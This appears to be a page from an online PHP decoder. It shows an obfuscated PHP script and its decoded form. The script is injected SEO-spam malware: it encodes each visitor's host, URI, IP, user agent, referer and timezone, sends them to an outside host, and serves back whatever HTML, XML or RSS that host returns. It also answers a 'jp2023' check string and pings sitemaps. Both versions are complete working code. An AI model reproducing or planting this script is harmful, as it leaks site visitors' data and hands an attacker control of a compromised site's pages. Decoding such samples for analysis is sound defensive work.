Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ERROR_repORtING((int)ROUND(0+0));HEaDeR("C\157nt\145\156t-\x54y\160\x65:\040\x74e\x7..
Decoded Output download
<?php ERROR_repORtING((int)ROUND(0+0));HEaDeR("Content-Type: text/html; charset=utf-8");$_pskpi=bAsE64_ENCode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_morz=BasE64_enCoDe(@$_SERVER["REQUEST_URI"]);$_zgyprwm=@$_SERVER["HTTP_HOST"];$_kqusv=BAsE64_eNCODE(@$_SERVER["HTTP_USER_AGENT"]);$_elrlb=BasE64_encode(@$_SERVER["HTTP_REFERER"]);$_zuuih=baSE64_EnCodE(@$_SERVER["REMOTE_ADDR"]);$_ansyvpg=bASE64_enCodE(DatE_defauLt_TiMeZONe_GeT());$_xhfbvnea=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https"))?"https://":"http://";$_mrfkwjh="https://fgx346.ironfree.top";$_tkafyryl=basE64_eNcode($_xhfbvnea.$_zgyprwm);$_zwyhqvi=$_mrfkwjh."/index.php?domain=".$_tkafyryl."&uri=".$_morz."&lan=".$_pskpi."&agent=".$_kqusv."&zone=".$_ansyvpg."&ip=".$_zuuih."&goweb=".$_mrfkwjh."&referer=".$_elrlb;$_sswu=_fftz($_zwyhqvi);if(StRiPOS($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_zgyprwm.":cs346-ok;";exit();}if(STRStR($_sswu,"[#*#*#]")){$_poohdmvi=exPlODE("[#*#*#]",$_sswu);if($_poohdmvi[(int)rOuNd(-173+-173+-173+-173)+(int)ROUnD(52.5+52.5+52.5+52.5)-(int)RoUNd(101.66666666667+101.66666666667+101.66666666667)+(int)rouNd(393.5+393.5)]=="echohtml"){echo$_poohdmvi[(int)ROund(0.25+0.25+0.25+0.25)];exit;}if($_poohdmvi[(0417+-0314)+(-0617-0771+01207)-(int)RoUNd(-55.5+-55.5+-55.5+-55.5)+(int)RoUnd(-8+-8+-8+-8)]=="echoxml"){HEADer("Content-type: text/xml");echo$_poohdmvi[(int)rouNd(0.25+0.25+0.25+0.25)];exit;}if($_poohdmvi[(int)rOuNd(-280.5+-280.5)+(01505+01113+-01537)-(int)ROund(0+0+0+0)]=="echorss"){HeADeR("Content-type: text/xml");echo$_poohdmvi[(int)ROunD(0.5+0.5)];exit;}if($_poohdmvi[(0727-0234)-(0756+01163+-01740)+(-01112+0325- -0273)]=="pingxml"){$_osws=eXPLODE("|||",$_poohdmvi[(0753-01004+01050)+(-01127+-0520- -0553+056)]);foreach($_osws as$_imdv){$_etoknckl=_fftz($_imdv);$_qhhuqe=(sTrpOs($_etoknckl,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_imdv."===>Sitemap: ".$_qhhuqe."<br>";}exit;}}function _fftz($_qutrn){$_sswu=@fIle_geT_conTeNtS($_qutrn);if(!$_sswu){$_xpbdxbxk=cUrL_INit();cURl_SETOPT($_xpbdxbxk,(int)ROunD(3421.3333333333+3421.3333333333+3421.3333333333)-(int)ROunD(2321+2321+2321+2321)-(023734-024075- -024113)-(int)rouND(-4810+-4810+-4810+-4810),$_qutrn);Curl_sEtopT($_xpbdxbxk,(int)RoUND(40.5+40.5),(int)RoUNd(0+0+0+0));cUrl_SEToPt($_xpbdxbxk,(int)rounD(32+32),(int)ROUNd(-116+-116+-116)-(int)rOuNd(-1+-1+-1+-1)+(int)roUnd(98.666666666667+98.666666666667+98.666666666667)-(0235-0315));cUrL_sEtOpT($_xpbdxbxk,(int)rOund(9956.5+9956.5),(int)ROuNd(0.25+0.25+0.25+0.25));$_sswu=curL_exEC($_xpbdxbxk);CUrl_Close($_xpbdxbxk);}return$_sswu;};?>
Did this file decode correctly?
Original Code
<?php ERROR_repORtING((int)ROUND(0+0));HEaDeR("C\157nt\145\156t-\x54y\160\x65:\040\x74e\x78t\057h\164m\154\x3b\040\x63h\x61\162s\x65\164=utf\055\x38");$_pskpi=bAsE64_ENCode(@$_SERVER["\110TTP_\101CCE\x50\124\137\114A\x4eGUAGE"]);$_morz=BasE64_enCoDe(@$_SERVER["\122EQ\x55EST_U\x52I"]);$_zgyprwm=@$_SERVER["HTTP\137H\x4fST"];$_kqusv=BAsE64_eNCODE(@$_SERVER["HTT\x50_U\123\x45R_A\x47E\116\124"]);$_elrlb=BasE64_encode(@$_SERVER["HTTP_\122EFERER"]);$_zuuih=baSE64_EnCodE(@$_SERVER["REM\117TE_\x41\104\x44\122"]);$_ansyvpg=bASE64_enCodE(DatE_defauLt_TiMeZONe_GeT());$_xhfbvnea=((isset($_SERVER["H\124\124\x50S"])&&$_SERVER["HTT\x50\123"]=="o\156")||(isset($_SERVER["\110\124T\x50\x5f\130_F\x4f\122W\101RD\x45D\137PRO\124O"])&&$_SERVER["HTT\x50_\130_FORWA\122DED_P\x52O\x54\x4f"]=="\x68\x74\164p\163"))?"ht\x74\x70\x73:/\x2f":"\150\x74t\x70\x3a//";$_mrfkwjh="\x68tt\x70\x73\072\x2f\x2ff\x67x346.\x69\162on\146re\145.t\x6fp";$_tkafyryl=basE64_eNcode($_xhfbvnea.$_zgyprwm);$_zwyhqvi=$_mrfkwjh."/\x69ndex.php?do\155\x61in\x3d".$_tkafyryl."&\165\x72i=".$_morz."\x26\154\x61n\x3d".$_pskpi."&a\147\145nt\075".$_kqusv."&zo\156e\075".$_ansyvpg."\046ip=".$_zuuih."&g\157\x77eb=".$_mrfkwjh."&r\x65f\x65rer\075".$_elrlb;$_sswu=_fftz($_zwyhqvi);if(StRiPOS($_SERVER["REQ\x55\105S\x54_U\122I"],"jp2023")!==false){echo$_zgyprwm.":\x63s\x3346-\x6f\153;";exit();}if(STRStR($_sswu,"\x5b#\052#*#]")){$_poohdmvi=exPlODE("\x5b\x23\052\043*\x23]",$_sswu);if($_poohdmvi[(int)rOuNd(-173+-173+-173+-173)+(int)ROUnD(52.5+52.5+52.5+52.5)-(int)RoUNd(101.66666666667+101.66666666667+101.66666666667)+(int)rouNd(393.5+393.5)]=="ech\x6f\150t\155l"){echo$_poohdmvi[(int)ROund(0.25+0.25+0.25+0.25)];exit;}if($_poohdmvi[(0417+-0314)+(-0617-0771+01207)-(int)RoUNd(-55.5+-55.5+-55.5+-55.5)+(int)RoUnd(-8+-8+-8+-8)]=="ech\x6f\170ml"){HEADer("\103\157\156t\x65\x6et-type\x3a\x20t\145\x78t\x2fxm\154");echo$_poohdmvi[(int)rouNd(0.25+0.25+0.25+0.25)];exit;}if($_poohdmvi[(int)rOuNd(-280.5+-280.5)+(01505+01113+-01537)-(int)ROund(0+0+0+0)]=="e\x63ho\162ss"){HeADeR("C\x6f\156\x74ent-t\171\160\145: text/x\155l");echo$_poohdmvi[(int)ROunD(0.5+0.5)];exit;}if($_poohdmvi[(0727-0234)-(0756+01163+-01740)+(-01112+0325- -0273)]=="\x70i\x6egxml"){$_osws=eXPLODE("\x7c|\174",$_poohdmvi[(0753-01004+01050)+(-01127+-0520- -0553+056)]);foreach($_osws as$_imdv){$_etoknckl=_fftz($_imdv);$_qhhuqe=(sTrpOs($_etoknckl,"Site\x6d\141\x70 \116o\164i\x66i\143a\164\x69\157\156\040Rec\145iv\x65d")!==false)?"\117\113":"E\122\x52\x4f\122";echo$_imdv."\075=\x3d>S\x69te\155\x61p: ".$_qhhuqe."<br>";}exit;}}function _fftz($_qutrn){$_sswu=@fIle_geT_conTeNtS($_qutrn);if(!$_sswu){$_xpbdxbxk=cUrL_INit();cURl_SETOPT($_xpbdxbxk,(int)ROunD(3421.3333333333+3421.3333333333+3421.3333333333)-(int)ROunD(2321+2321+2321+2321)-(023734-024075- -024113)-(int)rouND(-4810+-4810+-4810+-4810),$_qutrn);Curl_sEtopT($_xpbdxbxk,(int)RoUND(40.5+40.5),(int)RoUNd(0+0+0+0));cUrl_SEToPt($_xpbdxbxk,(int)rounD(32+32),(int)ROUNd(-116+-116+-116)-(int)rOuNd(-1+-1+-1+-1)+(int)roUnd(98.666666666667+98.666666666667+98.666666666667)-(0235-0315));cUrL_sEtOpT($_xpbdxbxk,(int)rOund(9956.5+9956.5),(int)ROuNd(0.25+0.25+0.25+0.25));$_sswu=curL_exEC($_xpbdxbxk);CUrl_Close($_xpbdxbxk);}return$_sswu;};?>
Function Calls
ROUND | 1 |
Stats
MD5 | fadf7baae09a5bd7d46b1d40ba86a75c |
Eval Count | 0 |
Decode Time | 85 ms |